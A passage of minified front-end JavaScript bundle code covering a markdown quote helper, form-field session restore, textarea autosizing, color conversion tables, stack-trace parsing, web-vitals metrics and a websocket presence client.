n&&!_(p)&&(h(p)||v(p))?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),m=[];let d=c.nextNode();for(;d;)d instanceof HTMLElement&&m.push(d),d=c.nextNode();m.reverse();for(const p of m)p.replaceWith(n[p.nodeName](p))}i(r,"insertMarkdownSyntax");function l(s,c){const m=s.startContainer;if(!m||!m.parentNode||!(m.parentNode instanceof HTMLElement))throw new Error("the range must start within an HTMLElement");const d=m.parentNode;let p=s.cloneContents();if(c){const x=p.querySelector(c);x&&(p=document.createDocumentFragment(),p.appendChild(x))}e=0;const g=d.closest("li");if(d.closest("pre")){const x=document.createElement("pre");x.appendChild(p),p=document.createDocumentFragment(),p.appendChild(x)}else if(g&&g.parentNode&&(g.parentNode.nodeName==="OL"&&(e=b(g)),!p.querySelector("li"))){const x=document.createElement("li");if(!g.parentNode)throw new Error;const I=document.createElement(g.parentNode.nodeName);x.appendChild(p),I.appendChild(x),p=document.createDocumentFragment(),p.appendChild(I)}return p}i(l,"extractFragment");class u{constructor(){this.selection=window.getSelection()}closest(c){const m=this.range.startContainer,d=m instanceof Element?m:m.parentElement;return d?d.closest(c):null}get active(){var c;return(((c=this.selection)===null||c===void 0?void 0:c.rangeCount)||0)>0}get range(){var c;return((c=this.selection)===null||c===void 0?void 0:c.rangeCount)?this.selection.getRangeAt(0):new Range}set range(c){var m,d;(m=this.selection)===null||m===void 0||m.removeAllRanges(),(d=this.selection)===null||d===void 0||d.addRange(c)}get selectionText(){var c;return((c=this.selection)===null||c===void 0?void 0:c.toString().trim())||""}get quotedText(){return`> ${this.selectionText.replace(/\n/g,` +> `)} + +`}select(c){this.selection&&(this.selection.removeAllRanges(),this.selection.selectAllChildren(c))}insert(c){c.value?c.value=`${c.value} + +${this.quotedText}`:c.value=this.quotedText,c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),c.focus(),c.selectionStart=c.value.length,c.scrollTop=c.scrollHeight}}i(u,"Quote");class a extends u{constructor(c="",m){super();this.scopeSelector=c,this.callback=m}get selectionText(){var c,m;if(!this.selection)return"";const d=l(this.range,(c=this.scopeSelector)!==null&&c!==void 0?c:"");(m=this.callback)===null||m===void 0||m.call(this,d),r(d);const p=document.body;if(!p)return"";const g=document.createElement("div");g.appendChild(d),g.style.cssText="position:absolute;left:-9999px;",p.appendChild(g);let w="";try{const x=document.createRange();x.selectNodeContents(g),this.selection.removeAllRanges(),this.selection.addRange(x),w=this.selection.toString(),this.selection.removeAllRanges(),x.detach()}finally{p.removeChild(g)}return w.trim()}}i(a,"MarkdownQuote")},407:(N,M,E)=>{"use strict";E.d(M,{Xm:()=>h,e6:()=>v,iO:()=>e});let b=null;function _(o){return!!o.id&&o.value!==o.defaultValue&&o.form!==b}i(_,"shouldResumeField");function h(o,t){var n,r;const l=(n=t==null?void 0:t.selector)!==null&&n!==void 0?n:".js-session-resumable",a=`${(r=t==null?void 0:t.keyPrefix)!==null&&r!==void 0?r:"session-resume:"}${o}`,s=[];for(const m of document.querySelectorAll(l))(m instanceof HTMLInputElement||m instanceof HTMLTextAreaElement)&&s.push(m);let c=s.filter(m=>_(m)).map(m=>[m.id,m.value]);if(c.length)try{const m=sessionStorage.getItem(a);if(m!==null){const p=JSON.parse(m).filter(function(g){return!c.some(w=>w[0]===g[0])});c=c.concat(p)}sessionStorage.setItem(a,JSON.stringify(c))}catch{}}i(h,"persistResumableFields");function v(o,t){var n;const l=`${(n=t==null?void 0:t.keyPrefix)!==null&&n!==void 0?n:"session-resume:"}${o}`;let u;try{u=sessionStorage.getItem(l)}catch{}if(!u)return;const a=[],s=[];for(const[c,m]of JSON.parse(u)){const d=new CustomEvent("session:resume",{bubbles:!0,cancelable:!0,detail:{targetId:c,targetValue:m}});if(document.dispatchEvent(d)){const p=document.getElementById(c);p&&(p instanceof HTMLInputElement||p instanceof HTMLTextAreaElement)?p.value===p.defaultValue&&(p.value=m,a.push(p)):s.push([c,m])}}if(s.length===0)try{sessionStorage.removeItem(l)}catch{}else sessionStorage.setItem(l,JSON.stringify(s));setTimeout(function(){for(const c of a)c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))},0)}i(v,"restoreResumableFields");function e(o){b=o.target,setTimeout(function(){o.defaultPrevented&&(b=null)},0)}i(e,"setForm")},54430:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(h){var v=null,e=!1,o=void 0,t=void 0,n=void 0;function r(d){if(o!==d.clientX||t!==d.clientY){var p=h.style.height;n&&n!==p&&(e=!0,h.style.maxHeight="",h.removeEventListener("mousemove",r)),n=p}o=d.clientX,t=d.clientY}i(r,"onUserResize");var l=h.ownerDocument,u=l.documentElement;function a(){for(var d=0,p=h;p!==l.body&&p!==null;)d+=p.offsetTop||0,p=p.offsetParent;var g=d-l.defaultView.pageYOffset,w=u.clientHeight-(g+h.offsetHeight);return{top:g,bottom:w}}i(a,"overflowOffset");function s(){if(!e&&h.value!==v&&!(h.offsetWidth<=0&&h.offsetHeight<=0)){var d=a(),p=d.top,g=d.bottom;if(!(p<0||g<0)){var w=Number(getComputedStyle(h).height.replace(/px/,""))+g;h.style.maxHeight=w-100+"px";var x=h.parentElement;if(x instanceof HTMLElement){var I=x.style.height;x.style.height=getComputedStyle(x).height,h.style.height="auto",h.style.height=h.scrollHeight+"px",x.style.height=I,n=h.style.height}v=h.value}}}i(s,"sizeToFit");function c(){e=!1,h.style.height="",h.style.maxHeight=""}i(c,"onFormReset"),h.addEventListener("mousemove",r),h.addEventListener("input",s),h.addEventListener("change",s);var m=h.form;return m&&m.addEventListener("reset",c),h.value&&s(),{unsubscribe:i(function(){h.removeEventListener("mousemove",r),h.removeEventListener("input",s),h.removeEventListener("change",s),m&&m.removeEventListener("reset",c)},"unsubscribe")}}i(b,"autosize");const _=b},48168:(N,M,E)=>{const b=E(39092),_={};for(const e of Object.keys(b))_[b[e]]=e;const h={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};N.exports=h;for(const e of Object.keys(h)){if(!("channels"in h[e]))throw new Error("missing channels property: "+e);if(!("labels"in h[e]))throw new Error("missing channel labels property: "+e);if(h[e].labels.length!==h[e].channels)throw new Error("channel and label counts mismatch: "+e);const{channels:o,labels:t}=h[e];delete h[e].channels,delete h[e].labels,Object.defineProperty(h[e],"channels",{value:o}),Object.defineProperty(h[e],"labels",{value:t})}h.rgb.hsl=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(o,t,n),l=Math.max(o,t,n),u=l-r;let a,s;l===r?a=0:o===l?a=(t-n)/u:t===l?a=2+(n-o)/u:n===l&&(a=4+(o-t)/u),a=Math.min(a*60,360),a<0&&(a+=360);const c=(r+l)/2;return l===r?s=0:c<=.5?s=u/(l+r):s=u/(2-l-r),[a,s*100,c*100]},h.rgb.hsv=function(e){let o,t,n,r,l;const u=e[0]/255,a=e[1]/255,s=e[2]/255,c=Math.max(u,a,s),m=c-Math.min(u,a,s),d=i(function(p){return(c-p)/6/m+1/2},"diffc");return m===0?(r=0,l=0):(l=m/c,o=d(u),t=d(a),n=d(s),u===c?r=n-t:a===c?r=1/3+o-n:s===c&&(r=2/3+t-o),r<0?r+=1:r>1&&(r-=1)),[r*360,l*100,c*100]},h.rgb.hwb=function(e){const o=e[0],t=e[1];let n=e[2];const r=h.rgb.hsl(e)[0],l=1/255*Math.min(o,Math.min(t,n));return n=1-1/255*Math.max(o,Math.max(t,n)),[r,l*100,n*100]},h.rgb.cmyk=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(1-o,1-t,1-n),l=(1-o-r)/(1-r)||0,u=(1-t-r)/(1-r)||0,a=(1-n-r)/(1-r)||0;return[l*100,u*100,a*100,r*100]};function v(e,o){return(e[0]-o[0])**2+(e[1]-o[1])**2+(e[2]-o[2])**2}i(v,"comparativeDistance"),h.rgb.keyword=function(e){const o=_[e];if(o)return o;let t=1/0,n;for(const r of Object.keys(b)){const l=b[r],u=v(e,l);u.04045?((o+.055)/1.055)**2.4:o/12.92,t=t>.04045?((t+.055)/1.055)**2.4:t/12.92,n=n>.04045?((n+.055)/1.055)**2.4:n/12.92;const r=o*.4124+t*.3576+n*.1805,l=o*.2126+t*.7152+n*.0722,u=o*.0193+t*.1192+n*.9505;return[r*100,l*100,u*100]},h.rgb.lab=function(e){const o=h.rgb.xyz(e);let t=o[0],n=o[1],r=o[2];t/=95.047,n/=100,r/=108.883,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116,r=r>.008856?r**(1/3):7.787*r+16/116;const l=116*n-16,u=500*(t-n),a=200*(n-r);return[l,u,a]},h.hsl.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;let r,l,u;if(t===0)return u=n*255,[u,u,u];n<.5?r=n*(1+t):r=n+t-n*t;const a=2*n-r,s=[0,0,0];for(let c=0;c<3;c++)l=o+1/3*-(c-1),l<0&&l++,l>1&&l--,6*l<1?u=a+(r-a)*6*l:2*l<1?u=r:3*l<2?u=a+(r-a)*(2/3-l)*6:u=a,s[c]=u*255;return s},h.hsl.hsv=function(e){const o=e[0];let t=e[1]/100,n=e[2]/100,r=t;const l=Math.max(n,.01);n*=2,t*=n<=1?n:2-n,r*=l<=1?l:2-l;const u=(n+t)/2,a=n===0?2*r/(l+r):2*t/(n+t);return[o,a*100,u*100]},h.hsv.rgb=function(e){const o=e[0]/60,t=e[1]/100;let n=e[2]/100;const r=Math.floor(o)%6,l=o-Math.floor(o),u=255*n*(1-t),a=255*n*(1-t*l),s=255*n*(1-t*(1-l));switch(n*=255,r){case 0:return[n,s,u];case 1:return[a,n,u];case 2:return[u,n,s];case 3:return[u,a,n];case 4:return[s,u,n];case 5:return[n,u,a]}},h.hsv.hsl=function(e){const o=e[0],t=e[1]/100,n=e[2]/100,r=Math.max(n,.01);let l,u;u=(2-t)*n;const a=(2-t)*r;return l=t*r,l/=a<=1?a:2-a,l=l||0,u/=2,[o,l*100,u*100]},h.hwb.rgb=function(e){const o=e[0]/360;let t=e[1]/100,n=e[2]/100;const r=t+n;let l;r>1&&(t/=r,n/=r);const u=Math.floor(6*o),a=1-n;l=6*o-u,(u&1)!==0&&(l=1-l);const s=t+l*(a-t);let c,m,d;switch(u){default:case 6:case 0:c=a,m=s,d=t;break;case 1:c=s,m=a,d=t;break;case 2:c=t,m=a,d=s;break;case 3:c=t,m=s,d=a;break;case 4:c=s,m=t,d=a;break;case 5:c=a,m=t,d=s;break}return[c*255,m*255,d*255]},h.cmyk.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100,r=e[3]/100,l=1-Math.min(1,o*(1-r)+r),u=1-Math.min(1,t*(1-r)+r),a=1-Math.min(1,n*(1-r)+r);return[l*255,u*255,a*255]},h.xyz.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100;let r,l,u;return r=o*3.2406+t*-1.5372+n*-.4986,l=o*-.9689+t*1.8758+n*.0415,u=o*.0557+t*-.204+n*1.057,r=r>.0031308?1.055*r**(1/2.4)-.055:r*12.92,l=l>.0031308?1.055*l**(1/2.4)-.055:l*12.92,u=u>.0031308?1.055*u**(1/2.4)-.055:u*12.92,r=Math.min(Math.max(0,r),1),l=Math.min(Math.max(0,l),1),u=Math.min(Math.max(0,u),1),[r*255,l*255,u*255]},h.xyz.lab=function(e){let o=e[0],t=e[1],n=e[2];o/=95.047,t/=100,n/=108.883,o=o>.008856?o**(1/3):7.787*o+16/116,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116;const r=116*t-16,l=500*(o-t),u=200*(t-n);return[r,l,u]},h.lab.xyz=function(e){const o=e[0],t=e[1],n=e[2];let r,l,u;l=(o+16)/116,r=t/500+l,u=l-n/200;const a=l**3,s=r**3,c=u**3;return l=a>.008856?a:(l-16/116)/7.787,r=s>.008856?s:(r-16/116)/7.787,u=c>.008856?c:(u-16/116)/7.787,r*=95.047,l*=100,u*=108.883,[r,l,u]},h.lab.lch=function(e){const o=e[0],t=e[1],n=e[2];let r;r=Math.atan2(n,t)*360/2/Math.PI,r<0&&(r+=360);const u=Math.sqrt(t*t+n*n);return[o,u,r]},h.lch.lab=function(e){const o=e[0],t=e[1],r=e[2]/360*2*Math.PI,l=t*Math.cos(r),u=t*Math.sin(r);return[o,l,u]},h.rgb.ansi16=function(e,o=null){const[t,n,r]=e;let l=o===null?h.rgb.hsv(e)[2]:o;if(l=Math.round(l/50),l===0)return 30;let u=30+(Math.round(r/255)<<2|Math.round(n/255)<<1|Math.round(t/255));return l===2&&(u+=60),u},h.hsv.ansi16=function(e){return h.rgb.ansi16(h.hsv.rgb(e),e[2])},h.rgb.ansi256=function(e){const o=e[0],t=e[1],n=e[2];return o===t&&t===n?o<8?16:o>248?231:Math.round((o-8)/247*24)+232:16+36*Math.round(o/255*5)+6*Math.round(t/255*5)+Math.round(n/255*5)},h.ansi16.rgb=function(e){let o=e%10;if(o===0||o===7)return e>50&&(o+=3.5),o=o/10.5*255,[o,o,o];const t=(~~(e>50)+1)*.5,n=(o&1)*t*255,r=(o>>1&1)*t*255,l=(o>>2&1)*t*255;return[n,r,l]},h.ansi256.rgb=function(e){if(e>=232){const l=(e-232)*10+8;return[l,l,l]}e-=16;let o;const t=Math.floor(e/36)/5*255,n=Math.floor((o=e%36)/6)/5*255,r=o%6/5*255;return[t,n,r]},h.rgb.hex=function(e){const t=(((Math.round(e[0])&255)<<16)+((Math.round(e[1])&255)<<8)+(Math.round(e[2])&255)).toString(16).toUpperCase();return"000000".substring(t.length)+t},h.hex.rgb=function(e){const o=e.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!o)return[0,0,0];let t=o[0];o[0].length===3&&(t=t.split("").map(a=>a+a).join(""));const n=parseInt(t,16),r=n>>16&255,l=n>>8&255,u=n&255;return[r,l,u]},h.rgb.hcg=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.max(Math.max(o,t),n),l=Math.min(Math.min(o,t),n),u=r-l;let a,s;return u<1?a=l/(1-u):a=0,u<=0?s=0:r===o?s=(t-n)/u%6:r===t?s=2+(n-o)/u:s=4+(o-t)/u,s/=6,s%=1,[s*360,u*100,a*100]},h.hsl.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=t<.5?2*o*t:2*o*(1-t);let r=0;return n<1&&(r=(t-.5*n)/(1-n)),[e[0],n*100,r*100]},h.hsv.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=o*t;let r=0;return n<1&&(r=(t-n)/(1-n)),[e[0],n*100,r*100]},h.hcg.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;if(t===0)return[n*255,n*255,n*255];const r=[0,0,0],l=o%1*6,u=l%1,a=1-u;let s=0;switch(Math.floor(l)){case 0:r[0]=1,r[1]=u,r[2]=0;break;case 1:r[0]=a,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=u;break;case 3:r[0]=0,r[1]=a,r[2]=1;break;case 4:r[0]=u,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=a}return s=(1-t)*n,[(t*r[0]+s)*255,(t*r[1]+s)*255,(t*r[2]+s)*255]},h.hcg.hsv=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);let r=0;return n>0&&(r=o/n),[e[0],r*100,n*100]},h.hcg.hsl=function(e){const o=e[1]/100,n=e[2]/100*(1-o)+.5*o;let r=0;return n>0&&n<.5?r=o/(2*n):n>=.5&&n<1&&(r=o/(2*(1-n))),[e[0],r*100,n*100]},h.hcg.hwb=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);return[e[0],(n-o)*100,(1-n)*100]},h.hwb.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=1-t,r=n-o;let l=0;return r<1&&(l=(n-r)/(1-r)),[e[0],r*100,l*100]},h.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},h.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},h.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},h.gray.hsl=function(e){return[0,0,e[0]]},h.gray.hsv=h.gray.hsl,h.gray.hwb=function(e){return[0,100,e[0]]},h.gray.cmyk=function(e){return[0,0,0,e[0]]},h.gray.lab=function(e){return[e[0],0,0]},h.gray.hex=function(e){const o=Math.round(e[0]/100*255)&255,n=((o<<16)+(o<<8)+o).toString(16).toUpperCase();return"000000".substring(n.length)+n},h.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}},12085:(N,M,E)=>{const b=E(48168),_=E(4111),h={},v=Object.keys(b);function e(t){const n=i(function(...r){const l=r[0];return l==null?l:(l.length>1&&(r=l),t(r))},"wrappedFn");return"conversion"in t&&(n.conversion=t.conversion),n}i(e,"wrapRaw");function o(t){const n=i(function(...r){const l=r[0];if(l==null)return l;l.length>1&&(r=l);const u=t(r);if(typeof u=="object")for(let a=u.length,s=0;s{h[t]={},Object.defineProperty(h[t],"channels",{value:b[t].channels}),Object.defineProperty(h[t],"labels",{value:b[t].labels});const n=_(t);Object.keys(n).forEach(l=>{const u=n[l];h[t][l]=o(u),h[t][l].raw=e(u)})}),N.exports=h},39092:N=>{"use strict";N.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},4111:(N,M,E)=>{const b=E(48168);function _(){const o={},t=Object.keys(b);for(let n=t.length,r=0;r{"use strict";E.d(M,{_8:()=>b,uQ:()=>_});function b(e,o){return _(h(e),o)}i(b,"preserveAnchorNodePosition");function _(e,o){var t=e;if(!t)return Promise.resolve(o());var n=t.ownerDocument.documentElement;function r(a){for(var s=[];a;){var c=a.getBoundingClientRect(),m=c.top,d=c.left;s.push({element:a,top:m,left:d}),a=a.parentElement}return s}i(r,"computeAncestorBoundingRects");function l(a){for(var s=0;s{"use strict";E.d(M,{Q:()=>_});var b="";function _(m){var d=m.split(` +`);return d.reduce(function(p,g){var w=e(g)||t(g)||l(g)||c(g)||a(g);return w&&p.push(w),p},[])}i(_,"parse");var h=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,v=/\((\S*)(?::(\d+))(?::(\d+))\)/;function e(m){var d=h.exec(m);if(!d)return null;var p=d[2]&&d[2].indexOf("native")===0,g=d[2]&&d[2].indexOf("eval")===0,w=v.exec(d[2]);return g&&w!=null&&(d[2]=w[1],d[3]=w[2],d[4]=w[3]),{file:p?null:d[2],methodName:d[1]||b,arguments:p?[d[2]]:[],lineNumber:d[3]?+d[3]:null,column:d[4]?+d[4]:null}}i(e,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function t(m){var d=o.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(t,"parseWinjs");var n=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,r=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function l(m){var d=n.exec(m);if(!d)return null;var p=d[3]&&d[3].indexOf(" > eval")>-1,g=r.exec(d[3]);return p&&g!=null&&(d[3]=g[1],d[4]=g[2],d[5]=null),{file:d[3],methodName:d[1]||b,arguments:d[2]?d[2].split(","):[],lineNumber:d[4]?+d[4]:null,column:d[5]?+d[5]:null}}i(l,"parseGecko");var u=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function a(m){var d=u.exec(m);return d?{file:d[3],methodName:d[1]||b,arguments:[],lineNumber:+d[4],column:d[5]?+d[5]:null}:null}i(a,"parseJSC");var s=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function c(m){var d=s.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(c,"parseNode")},82131:(N,M,E)=>{"use strict";E.d(M,{CA:()=>ne,Tb:()=>te,Tx:()=>X,Y:()=>c,kz:()=>p});var b,_,h,v,e=i(function(P,T){return{name:P,value:T===void 0?-1:T,delta:0,entries:[],id:"v2-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12)}},"r"),o=i(function(P,T){try{if(PerformanceObserver.supportedEntryTypes.includes(P)){if(P==="first-input"&&!("PerformanceEventTiming"in self))return;var A=new PerformanceObserver(function(R){return R.getEntries().map(T)});return A.observe({type:P,buffered:!0}),A}}catch{}},"a"),t=i(function(P,T){var A=i(function R(S){S.type!=="pagehide"&&document.visibilityState!=="hidden"||(P(S),T&&(removeEventListener("visibilitychange",R,!0),removeEventListener("pagehide",R,!0)))},"n");addEventListener("visibilitychange",A,!0),addEventListener("pagehide",A,!0)},"o"),n=i(function(P){addEventListener("pageshow",function(T){T.persisted&&P(T)},!0)},"u"),r=i(function(P,T,A){var R;return function(S){T.value>=0&&(S||A)&&(T.delta=T.value-(R||0),(T.delta||R===void 0)&&(R=T.value,P(T)))}},"c"),l=-1,u=i(function(){return document.visibilityState==="hidden"?0:1/0},"s"),a=i(function(){t(function(P){var T=P.timeStamp;l=T},!0)},"m"),s=i(function(){return l<0&&(l=u(),a(),n(function(){setTimeout(function(){l=u(),a()},0)})),{get firstHiddenTime(){return l}}},"v"),c=i(function(P,T){var A,R=s(),S=e("FCP"),F=i(function(H){H.name==="first-contentful-paint"&&(U&&U.disconnect(),H.startTime-1&&P(B)},"i"),S=e("CLS",0),F=0,D=[],U=i(function(B){if(!B.hadRecentInput){var re=D[0],G=D[D.length-1];F&&B.startTime-G.startTime<1e3&&B.startTime-re.startTime<5e3?(F+=B.value,D.push(B)):(F=B.value,D=[B]),F>S.value&&(S.value=F,S.entries=D,A())}},"v"),H=o("layout-shift",U);H&&(A=r(R,S,T),t(function(){H.takeRecords().map(U),A(!0)}),n(function(){F=0,d=-1,S=e("CLS",0),A=r(R,S,T)}))},"h"),g={passive:!0,capture:!0},w=new Date,x=i(function(P,T){b||(b=T,_=P,h=new Date,z(removeEventListener),I())},"g"),I=i(function(){if(_>=0&&_1e12?new Date:performance.now())-P.timeStamp;P.type=="pointerdown"?function(A,R){var S=i(function(){x(A,R),D()},"n"),F=i(function(){D()},"i"),D=i(function(){removeEventListener("pointerup",S,g),removeEventListener("pointercancel",F,g)},"r");addEventListener("pointerup",S,g),addEventListener("pointercancel",F,g)}(T,P):x(T,P)}},"S"),z=i(function(P){["mousedown","keydown","touchstart","pointerdown"].forEach(function(T){return P(T,$,g)})},"w"),X=i(function(P,T){var A,R=s(),S=e("FID"),F=i(function(U){U.startTimeperformance.now())return;A.entries=[R],P(A)}catch{}},"t"),document.readyState==="complete"?setTimeout(T,0):addEventListener("load",function(){return setTimeout(T,0)})},"P")},27907:(N,M,E)=>{"use strict";E.d(M,{a:()=>l});var b=E(81855),_=E(60835),h=E(16544),v=E(75658),e=E(80955),o=E(29871),t;(function(u){u.Deploy="Alive Redeploy",u.Reconnect="Alive Reconnect"})(t||(t={}));function n(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}_${Math.round(Date.now()/1e3)}`}i(n,"generatePresenceId");function r(u){const a=u.match(/\/u\/(\d+)\/ws/);return a?+a[1]:0}i(r,"getUserIdFromSocketUrl");class l{constructor(a,s,c,m){this.url=a,this.getUrl=s,this.inSharedWorker=c,this.notify=m,this.subscriptions=new v.v,this.state="online",this.retrying=null,this.connectionCount=0,this.presence=new b.k2,this.presenceMetadata=new _.a,this.intentionallyDisconnected=!1,this.lastCameOnline=0,this.userId=r(a),this.presenceId=n(),this.presenceKey=(0,b.Hw)(this.userId,this.presenceId),this.socket=this.connect()}subscribe(a){const s=this.subscriptions.add(...a);this.sendSubscribe(s);for(const c of a){const m=c.topic.name;!(0,b.A)(m)||this.notifyCachedPresence(c.subscriber,m)}}unsubscribe(a){const s=this.subscriptions.delete(...a);this.sendUnsubscribe(s)}unsubscribeAll(...a){const s=this.subscriptions.drain(...a);this.sendUnsubscribe(s);const c=this.presenceMetadata.removeSubscribers(a);this.sendPresenceMetadataUpdate(c)}requestPresence(a,s){for(const c of s)this.notifyCachedPresence(a,c)}notifyCachedPresence(a,s){const c=this.presence.getChannelItems(s);c.length!==0&&this.notifyPresenceChannel(s,c)}updatePresenceMetadata(a){const s=new Set;for(const c of a)this.presenceMetadata.setMetadata(c),s.add(c.channelName);this.sendPresenceMetadataUpdate(s)}sendPresenceMetadataUpdate(a){if(!a.size)return;const s=[];for(const c of a){const m=this.subscriptions.topic(c);m&&s.push(m)}this.sendSubscribe(s)}online(){var a;this.lastCameOnline=Date.now(),this.state="online",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.open()}offline(){var a;this.state="offline",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.close()}shutdown(){this.inSharedWorker&&self.close()}get reconnectWindow(){const a=Date.now()-this.lastCameOnline<6e4;return this.connectionCount===0||this.intentionallyDisconnected||a?0:10*1e3}socketDidOpen(){this.intentionallyDisconnected=!1,this.connectionCount++,this.socket.url=this.getUrlWithPresenceId(),this.sendSubscribe(this.subscriptions.topics())}socketDidClose(a,s,c){if(this.redeployEarlyReconnectTimeout!==void 0&&clearTimeout(this.redeployEarlyReconnectTimeout),c==="Alive 